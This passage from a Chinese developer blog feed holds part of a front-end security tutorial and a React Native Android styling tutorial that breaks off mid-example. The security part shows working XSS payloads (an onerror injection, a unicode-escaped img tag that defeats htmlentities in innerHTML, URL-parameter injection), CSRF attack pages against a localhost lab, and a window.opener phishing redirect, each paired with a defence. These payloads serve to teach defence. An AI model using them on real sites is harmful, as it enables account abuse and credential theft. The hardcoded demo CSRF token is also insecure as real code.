第一条状态:侯医生的状态1,这个是图片:
<img src="<?php echo $imgsrc;?>" />
</div>
<div>
第二条状态:侯医生的状态2
</div>
<div>
第三条状态:侯医生的状态3
</div>
</body>
</html></code></pre>
<p><img src="/img/bVB9rR" alt="clipboard.png" title="clipboard.png"><br>图1.3.2.1<br>但是,如果这张图片的地址我们换种写法呢?</p>
<pre><code><?php
$imgsrc="\" onerror=\"javascript:alert('侯医生');\"";
?></code></pre>
<p>我们再来看看拼装好的html源码,如图1.3.2.2:<br><img src="/img/bVB9r2" alt="clipboard.png" title="clipboard.png"><br>图1.3.2.2<br>这时的源码已经变为--src为空,但是onerror的时候,执行注入代码。我们刷新查看页面,就会发现,代码注入已经成功,如图1.3.2.3所示:<br><img src="/img/bVB9sh" alt="clipboard.png" title="clipboard.png"><br>图1.3.2.3<br>看官你可能会说了,再转义呗。是的,老套路,我们接着进行转义---你这个毛病呀,就算治好了(老中医口吻)。</p>
<pre><code><img src="<?php echo htmlentities($imgsrc);?>" /></code></pre>
<p>恩,总算是恢复正常了,如图1.3.2.4所示。<br><img src="/img/bVB9uC" alt="clipboard.png" title="clipboard.png"><br>图1.3.2.4</p>
<h5>1.3.3 组合使用</h5>
<p>但是......但是,道高一尺魔高一丈,虽然防住了img标签直接的输出,但是我们的攻击点又来了,我们将1.3.1中所说的方式与1.3.2中所说的方式进行结合,进行一种组合式攻击,我们之前说过,innerHTML赋值的script标签,不会被执行,但是innerHTML赋值一个img标签是可以被识别的。我们把img标签的左右尖括号,使用unicode进行伪装,让转义方法认不出来,即使innerHTML也可以利用上了,代码如下,效果如图1.3.3.1</p>
<pre><code><?php
$username="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e";
?>
<!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<div>
用户名:<?php echo htmlentities($username);?>
</div>
<div>
第一条状态:侯医生的状态1
</div>
<div>
第二条状态:侯医生的状态2
</div>
<div>
第三条状态:侯医生的状态3
</div>
<div>版权所有:<span id="username_info"></span></div>
<script>
document.getElementById('username_info').innerHTML = "<?php echo htmlentities($username);?>";
</script>
</body>
</html></code></pre>
<p><img src="/img/bVB9vc" alt="clipboard.png" title="clipboard.png"><br>图1.3.3.1<br>这样,innerHTML也可以派上用场,再次突破防线。</p>
<h4>1.4 升级防御</h4>
<p>看来,我们需要再次进行防御升级了,我们将输出的字符串中的<code>\</code>反斜杠进行转义(json转义)。这样,<code>\</code>就不会被当做unicode码的开头来被处理了。代码如下:</p>
<pre><code>document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;</code></pre>
<p>生成处的源码,如图1.4.1<br><img src="/img/bVB9wd" alt="clipboard.png" title="clipboard.png"><br>图1.4.1<br>效果如图1.4.2所示<br><img src="/img/bVB9wf" alt="clipboard.png" title="clipboard.png"><br>图1.4.2</p>
<h4>1.5 XSS再升级</h4>
<p>都说了道高一尺魔高一丈了,你以为防得住后端输出,黑客大大们就没办法攻击了吗。我们有的时候,会有一些习惯,拿URL上的get参数去构建网页。好比说,直接拿url上的用户名去展示啦,拿url上的一些回跳地址之类的。但是url上的参数,我们是无法提前对其进行转义的。接下来,来个例子,代码如下:</p>
<pre><code><html>
<head>
<meta charset="utf-8" />
<script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
</head>
<body>
<div>
用户名:<?php echo htmlentities($username);?>
</div>
<div>
第一条状态:侯医生的状态1
</div>
<div>
第二条状态:侯医生的状态2
</div>
<div>
第三条状态:侯医生的状态3
</div>
<div>版权所有:<span id="username_info"></span></div>
<script>
var param = /=(.+)$/.exec(location.search);
var value = decodeURIComponent(param[1]);
$('#username_info').append(value);
</script>
</body>
</html></code></pre>
<p>上述代码,满足了一个很正常的需求,解开URL中的一个参数,并将其渲染至页面上。但是,这里面存在一个风险,如果黑客在URL的这个参数中,加入js代码,这样便又会被执行(如图1.5.1所示)。<br><img src="/img/bVB9zm" alt="clipboard.png" title="clipboard.png"><br>图1.5.1</p>
<h4>1.6 防御再次升级</h4>
<p>像这种从url中获取的信息,笔者建议,最好由后端获取,在前端转义后再行输出,代码如下,效果如图1.6.1</p>
<pre><code><script>
var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>");
$('#username_info').append(value);
</script></code></pre>
<p><img src="/img/bVB9zP" alt="clipboard.png" title="clipboard.png"><br>图1.6.1<br>使用url中的参数的时候要小心,更不要拿URL中的参数去eval。</p>
<h4>1.7 保护好你的cookie</h4>
<p>如果不幸中招了,黑客的js真的在我们的网页上执行了,我们该怎么办。其实,很多时候,我们的敏感信息都是存储在cookie中的(不要把用户机密信息放在网页中),想要阻止黑客通过js访问到cookie中的用户敏感信息。那么请使用cookie的HttpOnly属性,加上了这个属性的cookie字段,js是无法进行读写的。php的设置方法如下:</p>
<pre><code><?php
setcookie("userpass", "doctorhou-shuai", NULL, NULL, NULL, NULL, TRUE);
?></code></pre>
<p>如图1.7.1,我们的cookie已经种上了,并且有了httpOnly标识<br><img src="/img/bVB9Hh" alt="clipboard.png" title="clipboard.png"><br>图1.7.1<br>如图1.7.2,我们通过js无法获取cookie中的设定有httpOnly的字段:<br><img src="/img/bVB9Hv" alt="clipboard.png" title="clipboard.png"><br>图1.7.2<br>话说回来,其实还有很多xss的升级攻击方式,同学们有兴趣的话,可以自己去研究一下。(不要干坏事儿哦)</p>
<h3>2 CSRF攻击</h3>
<h4>2.1 什么是CSRF攻击?</h4>
<p>CSRF攻击在百度百科中的解释是:<br>CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。<br>其实就是网站中的一些提交行为,被黑客利用,你在访问黑客的网站的时候,进行的操作,会被操作到其他网站上(如:你所使用的网络银行的网站)。</p>
<h4>2.2 如何攻击?</h4>
<h5>2.2.1 要合理使用post与get</h5>
<p>通常我们会为了省事儿,把一些应当提交的数据,做成get请求。殊不知,这不仅仅是违反了http的标准而已,也同样会被黑客所利用。<br>比如,你开发的网站中,有一个购买商品的操作。你是这么开发的:</p>
<pre><code><?php
// 从cookie中获取用户名,看似稳妥
$username = $_COOKIE['username'];
$productId = $_GET['pid'];
// 这里进行购买操作
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '买入商品:' . $productId;
?></code></pre>
<p>而商品ID图个省事儿,就使用了url中的get参数。买商品的话,如图2.2.1.1所示<br><img src="/img/bVB9Ca" alt="clipboard.png" title="clipboard.png"><br>图2.2.1.1<br>那么,黑客的网站可以这样开发:</p>
<pre><code><!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<img src="http://localhost:8082/lab/xsrflab/submit.php?pid=1" />
</body>
</html></code></pre>
<p>这样的话,用户只需要访问一次黑客的网站,其实就相当于在你的网站中,操作了一次。然而用户却没有感知。如图2.2.1.2所示:<br><img src="/img/bVB9Cr" alt="clipboard.png" title="clipboard.png"><br>图2.2.1.2<br>所以,我们日常的开发,还是要遵循提交业务,严格按照post请求去做的。更不要使用jsonp去做提交型的接口,这样非常的危险。</p>
<h5>2.2.2 xsrf攻击升级</h5>
<p>如果你使用了post请求来处理关键业务的,还是有办法可以破解的。我们的业务代码如下:</p>
<pre><code><?php
$username = $_COOKIE['username'];
// 换为post了,可以规避黑客直接的提交
$productId = $_POST['pid'];
// 这里进行购买操作
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '买入商品:' . $productId;
?></code></pre>
<p>黑客代码如下:</p>
<pre><code><!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
<script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
</head>
<body>
<button id="clickme">点我看相册</button>
<script>
$('#clickme').on('click', function () {
// 用户再不知情的情况下,提交了表单,服务器这边也会以为是用户提交过来的。
$('#myform').submit();
});
</script>
<form id="myform" style="display:none;" target="myformer" method="post" action="http://myhost:8082/lab/xsrflab/submit.php">
<input type="hidden" name="pid" value="1">
</form>
<iframe name="myformer" style="display:none;"></iframe>
</body>
</html></code></pre>
<p>效果如图2.2.2.1<br><img src="/img/bVB9DR" alt="clipboard.png" title="clipboard.png"><br>图2.2.2.1<br>点击后,用户进行了提交,却连自己都不知情。这种情况如何防御呢?<br>最简单的办法就是加验证码,这样除了用户,黑客的网站是获取不到用户本次session的验证码的。但是这样也会降低用户的提交体验,特别是有些经常性的操作,如果总让用户输入验证码,用户也会非常的烦。<br>另一种方式,就是在用访问的页面中,都种下验证用的token,用户所有的提交都必须带上本次页面中生成的token,这种方式的本质和使用验证码没什么两样,但是这种方式,整个页面每一次的session,使用同一个token就行,很多post操作,开发者就可以自动带上当前页面的token。如果token校验不通过,则证明此次提交并非从本站发送来,则终止提交过程。如果token确实为本网站生成的话,则可以通过。<br>代码如下,防御效果如图2.2.2.2</p>
<pre><code><?php
$username = $_COOKIE['username'];
$productId = $_POST['pid'];
$token=$_POST['token'];
// 校验算法例子
function check_token($token) {
if ($token==='doctorhou-shuai') {
return true;
}
return false;
}
if (!check_token($token)) {
// 如果校验未通过,则中止
return ;
}
// 这里进行购买操作
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '买入商品:' . $productId;
?></code></pre>
<p><img src="/img/bVB9EF" alt="clipboard.png" title="clipboard.png"><br>图2.2.2.2<br>如上图,并没有携带本站每次session生成的token,则提交失败。<br>本站的网站form,则都会自动携带本站生成的token</p>
<pre><code><?php function token_creater() {
// 本站生成token的方法
return 'doctorhou-shuai';
}?>
<!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
<script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
</head>
<body>
<form id="myform" target="myformer" method="post" action="http://localhost:8082/lab/xsrflab/submit.php">
商品名称:<input name="pid" value="1">
<input type="hidden" name="token" value="<?php echo token_creater();?>" />
<input type="submit" value="提交" />
</form>
<iframe name="myformer" style="display:none;"></iframe>
</body>
</html></code></pre>
<p>再次使用本站的网页进行提交,则通过,如图2.2.2.3所示:<br><img src="/img/bVB9Fn" alt="clipboard.png" title="clipboard.png"><br>图2.2.2.3<br>当然,上面的只是例子,具体的token生成,肯定是要随着session与用户ID去变的,如果各位看官觉得自己的网站也需要加个token,请自行百度,进行深入的学习。</p>
<h3>3 网络劫持攻击</h3>
<p>很多的时候,我们的网站不是直接就访问到我们的服务器上的,中间会经过很多层代理,如果在某一个环节,数据被中间代理层的劫持者所截获,他们就能获取到使用你网站的用户的密码等保密数据。比如,我们的用户经常会在各种饭馆里面,连一些奇奇怪怪的wifi,如果这个wifi是黑客所建立的热点wifi,那么黑客就可以结果该用户收发的所有数据。这里,建议站长们网站都使用https进行加密。这样,就算网站的数据能被拿到,黑客也无法解开。</p>
<p>如果你的网站还没有进行https加密的化,则在表单提交部分,最好进行非对称加密--即客户端加密,只有服务端能解开。这样中间的劫持者便无法获取加密内容的真实信息了。</p>
<h3>4 控制台注入代码</h3>
<p>不知道各位看官有没有注意到天猫官网控制台的警告信息,如图4.1所示,这是为什么呢?因为有的黑客会诱骗用户去往控制台里面粘贴东西(欺负小白用户不懂代码),比如可以在朋友圈贴个什么文章,说:"只要访问天猫,按下F12并且粘贴以下内容,则可以获得xx元礼品"之类的,那么有的用户真的会去操作,并且自己隐私被暴露了也不知道。<br><img src="/img/bVB9MV" alt="clipboard.png" title="clipboard.png"><br>图4.1<br>天猫这种做法,也是在警告用户不要这么做,看来天猫的前端安全做的也是很到位的。不过,这种攻击毕竟是少数,所以各位看官看一眼就行,如果真的发现有的用户会被这样攻击的话,记得想起天猫的这种解决方案。</p>
<h3>5 钓鱼</h3>
<p>钓鱼也是一种非常古老的攻击方式了,其实并不太算前端攻击。可毕竟是页面级别的攻击,我们也来一起聊一聊。我相信很多人会有这样的经历,QQ群里面有人发什么兼职啦、什么自己要去国外了房子车子甩卖了,详情在我QQ空间里啦,之类的连接。打开之后发现一个QQ登录框,其实一看域名就知道不是QQ,不过做得非常像QQ登录,不明就里的用户们,就真的把用户名和密码输入了进去,结果没登录到QQ,用户名和密码却给人发过去了。<br>其实这种方式,在前端也有利用。下面,我们就来试试如果利用前端进行一次逼真的钓鱼。<br>1 首先,我们在xx空间里分享一篇文章,然后吸引别人去点击。效果如图5.1.1</p>
<pre><code><!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<div>
当前你在xx空间
</div>
<h1>侯博士的分享</h1>
<section>
咱们班当年班花,现在长这样:
<!--这是咱们的钓鱼网站-->
<a href="http://localhost:8082/lab/fish/cheat.php" target="_blank">点我查看</a>
</section>
</body>
</html></code></pre>
<p><img src="/img/bVB9PS" alt="clipboard.png" title="clipboard.png"><br>图5.1.1<br>2 接着,我们在cheat.php这个网站上面,将跳转过来的源网页地址悄悄的进行修改。效果如图5.2.1</p>
<pre><code><!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
<script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
</head>
<body>
你想看的信息:
xxxxxxxxxxxxxx
xxxxxxxxxxxxxx
<script>
// 在用户不知情的情况下,对跳转的来源网页进行地址替换
window.opener.location = 'http://localhost:8082/lab/fish/myfishsite.php';
</script>
</body>
</html></code></pre>
<p>于是,在用户访问了我们的欺骗网站后,之前的tab已经悄然发生了变化,我们将其悄悄的替换为了钓鱼的网站,欺骗用户输入用户名、密码等。<br><img src="/img/bVB9PW" alt="clipboard.png" title="clipboard.png"><br>图5.2.1<br>3 我们的钓鱼网站,伪装成XX空间,让用户输入用户名与密码,如图5.3.1<br><img src="/img/bVB9Qd" alt="clipboard.png" title="clipboard.png"><br>图5.3.1<br>这种钓鱼方式比较有意思,重点在于我们比较难防住这种攻击,我们并不能将所有的页面链接都使用js打开。所以,要么就将外链跳转的连接改为当前页面跳转,要么就在页面unload的时候给用户加以提示,要么就将页面所有的跳转均改为window.open,在打开时,跟大多数钓鱼防治殊途同归的一点是,我们需要网民们的安全意识提高。</p>
<h2>我们平时开发要注意些什么?</h2>
<ol>
<li><p>开发时要提防用户产生的内容,要对用户输入的信息进行层层检测</p></li>
<li><p>要注意对用户的输出内容进行过滤(进行转义等)</p></li>
<li><p>重要的内容记得要加密传输(无论是利用https也好,自己加密也好)</p></li>
<li><p>get请求与post请求,要严格遵守规范,不要混用,不要将一些危险的提交使用jsonp完成。</p></li>
<li><p>对于URL上携带的信息,要谨慎使用。</p></li>
<li><p>心中时刻记着,自己的网站哪里可能有危险。</p></li>
</ol>
<p>毕竟web安全是个很大的面,如果需要了解,还是需要进行专门的学习的。希望这篇聊一聊,可以让各位开发者的网站变得更安全。</p>
<h2>课后作业</h2>
<p>各位看官自己的网站中,是不是还留有很多安全漏洞呢?请各位看完本篇文章之后,回想一下,自己的网站是否还有哪些地方存在安全隐患。还有,自己可否为自己团队里面的同学制定一下开发时的安全规范呢?</p>
<p>接下来的一篇文章,我将会和读者们一起聊聊web图片那些事儿,不要走开,请关注我.....</p>
<p><strong>如果喜欢本文请点击下方的推荐哦,你的推荐会变为我继续更文的动力。</strong></p>
<p>以上内容仅代表笔者个人观点,如有意见请通知笔者。</p>
[React Native Android 安利系列]样式与布局的书写
https://segmentfault.com/a/1190000006619829
2016-08-17T17:24:51+08:00
2016-08-17T17:24:51+08:00
侯医生
https://segmentfault.com/u/doctorhou
4
<p>欢迎大家收看react-native-android系列教程,跟着本系列教程学习,可以熟练掌握react-native-android的开发,你值得拥有:<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<p>react-native-android的布局不同于以往的网页布局,采用的是一种组件的方式,使用js来定义样式表。接下来,我们会一起详细的了解这些react-native的样式,及所有样式的作用、用法。并且,我们将通过一些小例子,来实践这些样式。</p>
<h2>1. react-native中的样式</h2>
<p>打开我们之前创建的项目,我们看到,在最下方,是简单的布局样式。形式本身是javascript的对象形式。观其内容,则是我们熟悉的css样式。</p>
<pre><code>const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: '#F5FCFF',
},
welcome: {
fontSize: 20,
textAlign: 'center',
margin: 10,
},
instructions: {
textAlign: 'center',
color: '#333333',
marginBottom: 5,
},
});</code></pre>
<p>而样式的应用也是web开发者比较熟悉的『内联style』的方式,如图1.1<br><img src="/img/bVBV8g" alt="090326_XsAA_1177792.png" title="090326_XsAA_1177792.png"><br>图1.1<br>在希望应用的标签上,将style属性填写为我们创建的styles,这样就能将样式应用于我们的标签上了。</p>
<p>但是这里请注意,有一些细节还是和普通的css不一样的。</p>
<p><strong>1. react-native的样式的属性名,需要使用驼峰方式。</strong></p>
<p><strong>2. react-native的样式应用于某一个组件上的话,</strong>该样式不会继承下去,而是只应用于设置该style的节点上(Text相关样式除外,Text嵌套的话,其文字属性也会应用于子元素)。</p>
<p><strong>3. react-native的样式中width/height的单位是DP。</strong>并不是PX,这点请同学们注意一下,否则,按照设计图设计出来的东西会相当的难看。。。。。</p>
<p><strong>4. 应用于组件的style属性上的样式,可以不止一个,可以使用多个,以逗号分隔。</strong>如 style={styles.a,styles.b}</p>
<p><strong>5. 我们终于可以在样式中使用变量啦,</strong>比如我们想要一个元素的宽度等于屏幕的宽度,可以直接这么写:</p>
<pre><code>const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'column',
width: Dimensions.get('window').width,
},
});</code></pre>
<h2>2. react-native中所有能用到的属性</h2>
<p>接下来我们来看一下android中,所有我们能利用的上的属性吧:</p>
<h3>2.1 背景相关(background)</h3>
<p>backfaceVisibility 改元素背面面向屏幕时是否可见</p>
<p>backgroundColor 元素的背景色</p>
<h3>2.2 布局相关(flex)</h3>
<p>alignItems flex布局元素中,子元素沿纵轴排列方式</p>
<p>alignSelf flex元素中,本项元素的纵轴对其方式</p>
<p>flex 这里指代flex-grow,描述了元素的宽度比例值</p>
<p>flexDirection 指代flex元素的排列方向</p>
<p>flexWrap 指代flex元素的换行方式,取值为 nowrap|wrap|wrap-reverse</p>
<p>justifyContent 指代flex元素在横轴上的排列方式,之后会进行详解。</p>
<h3>2.3 布局相关(margin/padding/border)</h3>
<p>margin 留白</p>
<p>marginBottom 底部留白</p>
<p>marginLeft 左外留白</p>
<p>marginRight 右外留白</p>
<p>marginTop 上外留白</p>
<p>marginVertical 上下外留白的简写,如果marginTop与marginBottom一样的话,可以直接用这个值代替</p>
<p>marginHorizontal 左右外留白的简写</p>
<p>borderColor 整体边框颜色</p>
<p>borderRadius 整体边框的圆角</p>
<p>borderWidth 整体边框的宽</p>
<p>borderStyle 边框样式 dotted solid double dashed等</p>
<p>borderBottomColor 底边框颜色</p>
<p>borderBottomWidth 底边框宽度</p>
<p>borderLeftColor 左边框颜色</p>
<p>borderLeftWidth 左边框宽度</p>
<p>borderRightColor 右边框颜色</p>
<p>borderRightWidth 右边框宽度</p>
<p>borderTopColor 上边框颜色</p>
<p>borderTopWidth 上边框宽度</p>
<p>borderBottomLeftRadius 左下角圆角边框</p>
<p>borderBottomRightRadius 右下角圆角边框</p>
<p>borderTopLeftRadius 上边框左圆角</p>
<p>borderTopRightRadius 上边框右圆角</p>
<p>padding 内留白</p>
<p>paddingBottom</p>
<p>paddingTop</p>
<p>paddingLeft</p>
<p>paddingRight</p>
<p>paddingHorizontal</p>
<p>paddingVertical</p>
<p>height 元素高度,包含padding与border</p>
<p>width 元素宽度,包含padding与border</p>
<h3>2.4 定位相关</h3>
<p>position </p>
<p>top</p>
<p>right</p>
<p>bottom</p>
<p>left</p>
<h3>2.5 文字相关</h3>
<p>color</p>
<p>fontFamily</p>
<p>fontSize</p>
<p>fontStyle</p>
<p>fontWeight</p>
<p>textAlign</p>
<p>textDecorationColor</p>
<p>textDecorationLine</p>
<p>textDecorationStyle</p>
<p>letterSpacing</p>
<p>lineHeight</p>
<h3>2.6 阴影相关</h3>
<p>shadowColor 阴影色IOS only</p>
<p>shadowOffset 阴影距离IOS only</p>
<p>shadowOpacity 阴影透明度IOS only</p>
<p>shadowRadius 阴影半径 IOS only</p>
<p>elevation 仰角 android only</p>
<h3>2.7 其他</h3>
<p>opacity</p>
<p>overflow</p>
<p>resizeMode</p>
<p>rotation</p>
<p>scaleX</p>
<p>scaleY</p>
<p>transform</p>
<p>transformMatrix</p>
<p>translateX</p>
<p>translateY</p>
<p>writingDirection</p>
<h2>3 React属性逐个详解+示例</h2>
<h3>3.1 背景相关属性</h3>
<h4>3.1.2 backgroundColor 元素的背景色</h4>
<p>backgroundColor相信大家并不陌生,就是一个元素的背景色,支持多种值的选择</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={[styles.colorBlock, styles.back1]}></View>
<View style={[styles.colorBlock, styles.back2]}></View>
<View style={[styles.colorBlock, styles.back3]}></View>
<View style={[styles.colorBlock, styles.back4]}></View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'column',
backgroundColor: '#fff',
},
colorBlock: {
height: 100,
width: 100,
},
back1: {
// 普通的16进制值
backgroundColor: '#000'
},
back2: {
// 颜色名称的简写
backgroundColor: 'blue'
},
back3: {
// 颜色的RGB表示
backgroundColor: 'rgb(255, 0, 255)',
},
back4: {
// 颜色的RGBA表示
backgroundColor: 'rgba(255, 0, 255, 0.5)',
},
});</code></pre>
<p>效果如下,具体代码,参见本文后例子中的--index.android.js.backgroundColor(如图图3.2.1)<br><img src="/img/bVBV9O" alt="191642_zW5O_1177792.png" title="191642_zW5O_1177792.png"><br>图3.2.1</p>
<h4>3.1.1 backfaceVisibility 改元素背面面向屏幕时是否可见</h4>
<p>个人感觉这里reactNative在android下的实现的有点BUG,就是这个属性没有达到预期的效果,</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={[styles.rotateBlock, styles.back1]}>
<Text>Hello</Text>
</View>
<View style={[styles.rotateBlock, styles.back2]}>
<Text>Hello</Text>
</View>
<View style={[styles.rotateBlock, styles.back3]}>
<Text>Hello</Text>
</View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'column',
backgroundColor: '#fff',
},
rotateBlock: {
marginTop: 50,
height: 100,
width: 100,
backgroundColor: '#0f0',
},
back1: {
transform: [{rotateY: '135deg'}],
backfaceVisibility: 'visible'
},
back2: {
backfaceVisibility: 'hidden',
transform: [{rotateY: '180deg'}],
},
back3: {
backfaceVisibility: 'hidden',
transform: [{rotateY: '360deg'}],
},
});</code></pre>
<p>出现的效果如图3.1.1:<br><img src="/img/bVBWaz" alt="194310_88XY_1177792.png" title="194310_88XY_1177792.png"><br>图3.1.1<br>元素的背面也展现了出来。具体详见本文例子中的:index.android.js.backfaceVisibility。</p>
<h3>3.2 布局相关(flex)</h3>
<p>由于react-native的布局比较复杂,所以我们稍后会花费一整篇的篇幅,对其进行讲解。</p>
<h3>3.3 布局相关(margin/padding/border)</h3>
<p>height,width 不必多说。border,padding,margin的基本属性,做前端的同学也是轻车熟路了。这里,给原生开发,并且之前没有做过前端的同学们小小的科普一下。<br><img src="/img/bVBWbo" alt="194824_Bd9v_1177792.png" title="194824_Bd9v_1177792.png"><br>图3.3<br>传统的网页设计的,使用css的盒子模型,来搭建元素的布局。如图3.3所示。一个元素由,内容、填充(内留白)、边框、边界(外留白)组成。对应上了我们这一组 布局相关的属性。</p>
<h4>3.3.1 让我们来做一个盒子模型的示例</h4>
<p>首先,我们设定一个View,宽高都为100。</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={[styles.rotateBlock, styles.back1]}>
<Text>Hello</Text>
</View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'column',
backgroundColor: '#fff',
},
rotateBlock: {
height: 100,
width: 100,
backgroundColor: '#0f0',
},
back1: {
},
});</code></pre>
<p>效果如图3.3.1所示:<br><img src="/img/bVBWb6" alt="205116_sHAC_1177792.png" title="205116_sHAC_1177792.png"><br>图3.3.1<br>展示了一个普通的100*100的正方形(如图3.3.1.1)。<br>接着,我们为其加上50的padding。<br><img src="/img/bVBWcv" alt="205525_8XLS_1177792.png" title="205525_8XLS_1177792.png"><br>图3.3.1.1<br>发现其宽高并没有变,表明我们这里的盒子模型其实有别与传统的盒子模型。它的宽高是包含了padding(内留白)在内的。<br>我们接着,将border也加上宽度:</p>
<pre><code>const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'column',
backgroundColor: '#fff',
},
rotateBlock: {
height: 100,
width: 100,
padding: 30,
borderWidth: 10,
borderColor: '#000',
backgroundColor: '#0f0',
},
back1: {
},
});</code></pre>
<p>会发现,其实宽度*高度(100*100)也是包含了border的(如图3.3.1.2)。<br><img src="/img/bVBWc3" alt="210413_PIQF_1177792.png" title="210413_PIQF_1177792.png"><br>图3.3.1.2<br>所以,我们react-native的盒模型,可以认为是border-box的模型。即,width或者height的设定值,包含了padding、border和content。这点,也请有前段开发经验的同学注意一下。<br>我们再来看一看margin。</p>
<pre><code>const styles = StyleSheet.create({
container: {
flex: 1,
flexDirection: 'column',
backgroundColor: '#fff',
},
rotateBlock: {
height: 100,
width: 100,
padding: 30,
borderWidth: 10,
borderColor: '#000',
margin: 10,
backgroundColor: '#0f0',
},
back1: {
},
});</code></pre>
<p>效果如图3.3.1.3<br><img src="/img/bVBWdS" alt="210845_CKxr_1177792.png" title="210845_CKxr_1177792.png"><br>图3.3.1.3<br>我们看到margin并不会被算到width、height的值当中。而是产生了外部留白。</p>
<h4>3.3.2 特殊属性解释</h4>
<p>这里请注意,marginvVerticl,marginHorizontal这两个属性是(marginTop,marginBottom)与(marginLeft,marginRight)的简写。</p>
<p>同理可证,paddingVertical,paddingHorizontal。这几个属性在css中没有,但是react提供了更为简洁的设置方法。</p>
<p>borderStyle,这个属性是设置border的展现样式的。其可取的值有:</p>
<p>'solid'(默认), 'dotted', 'dashed',但是经过本人实验,在android环境下,几个属性貌似不能用。</p>
<p>具体详见本文例子中的:index.android.js.boxLayout文件。</p>
<h3>3.4 定位相关</h3>
<p>熟悉前端的同学肯定对position这个属性特别的亲切。这是网页布局中非常常见的一种定位方式。而对于不熟悉前端的同学来说呢,我们也会一起来看看,这组属性到底有什么作用。</p>
<p>一个元素如果不设定position去定位话,默认会形成文档流。每个元素会按顺序出现在文档流中,排到自己的位置上。</p>
<p>举个例子,我们有三个view,普通排列,正如我们所想,是一个挨着一个,顺序出现在被安排的位置上:</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={[styles.rotateBlock, styles.back1]}>
<Text>Hello1</Text>
</View>
<View style={[styles.rotateBlock, styles.back2]}>
<Text>Hello2</Text>
</View>
<View style={[styles.rotateBlock, styles.back3]}>
<Text>Hello3</Text>
</View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#fff',
},
rotateBlock: {
height: 100,
width: 100,
backgroundColor: '#0f0',
},
back1: {
},
back2: {
},
back3: {
},
});</code></pre>
<p>效果如图3.4.1<br><img src="/img/bVBWep" alt="220850_xIDk_1177792.png" title="220850_xIDk_1177792.png"><br>图3.4.1<br>如果我们将第二个view的定位设定为absolute(绝对定位),那么会变成什么样呢,如图3.4.2?</p>
<pre><code>back2: {
position: 'absolute',
},</code></pre>
<p><img src="/img/bVBWeA" alt="221058_8Z98_1177792.png" title="221058_8Z98_1177792.png"><br>图3.4.2<br>我们发现,第二个view不见了,那么它去哪儿了呢?它已经脱离了我们的文档流,留下1和3,还规规矩矩的排在那里。我们为了找到第二个view,目前到底在哪儿,来尝试着更改其top和left。top/right/bottom/left决定了定位元素的位置。我们先调整其left为20,如图3.4.3</p>
<pre><code>back2: {
position: 'absolute',
backgroundColor: '#f00',
left: 30,
}, </code></pre>
<p><img src="/img/bVBWeQ" alt="222313_B70i_1177792.png" title="222313_B70i_1177792.png"><br>图3.4.3<br>可见第二个元素虽然脱离了文档流但是还是在原先的位置上。只不过是被后面的第三个view给盖住了。这和我们在前端的常识不同。不过也可以理解为,此时的top与left。设定为了与自己未脱离文档流时候的top和left一致。</p>
<p>如果两个元素都设定为position:absolute,我们会看到排列顺序是按照文档流出现的顺序,下面的盖住上面的。但是如果我们像调整一下覆盖的顺序呢?我们在这里要介绍一下elevation,这个属性,这个属性比较奇特,他不仅可以控制覆盖顺序(就像z-index那样),同时会产生一个阴影特效,稍后我们会讲到。</p>
<p>我们来实验一下,如图3.4.4:</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
}
render() {
return (
<View style={styles.container}>
<View style={[styles.shadowBlock, styles.back1]}>
<Text>Hello1</Text>
</View>
<View style={[styles.shadowBlock, styles.back2]}>
<Text>Hello2</Text>
</View>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#fff',
},
shadowBlock: {
height: 100,
width: 100,
backgroundColor: '#0f0',
},
back1: {
position: 'absolute',
},
back2: {
position: 'absolute',
},
});</code></pre>
<p><img src="/img/bVBWfb" alt="232251_E1Kh_1177792.png" title="232251_E1Kh_1177792.png"><br>图3.4.4<br>我们看到,文档流中后出现的hello2覆盖掉了hello1。那么我们将两个元素都设置上elevation属性,再来看看(如图3.4.5):</p>
<pre><code>back1: {
position: 'absolute',
elevation: 1,
},
back2: {
position: 'absolute',
},</code></pre>
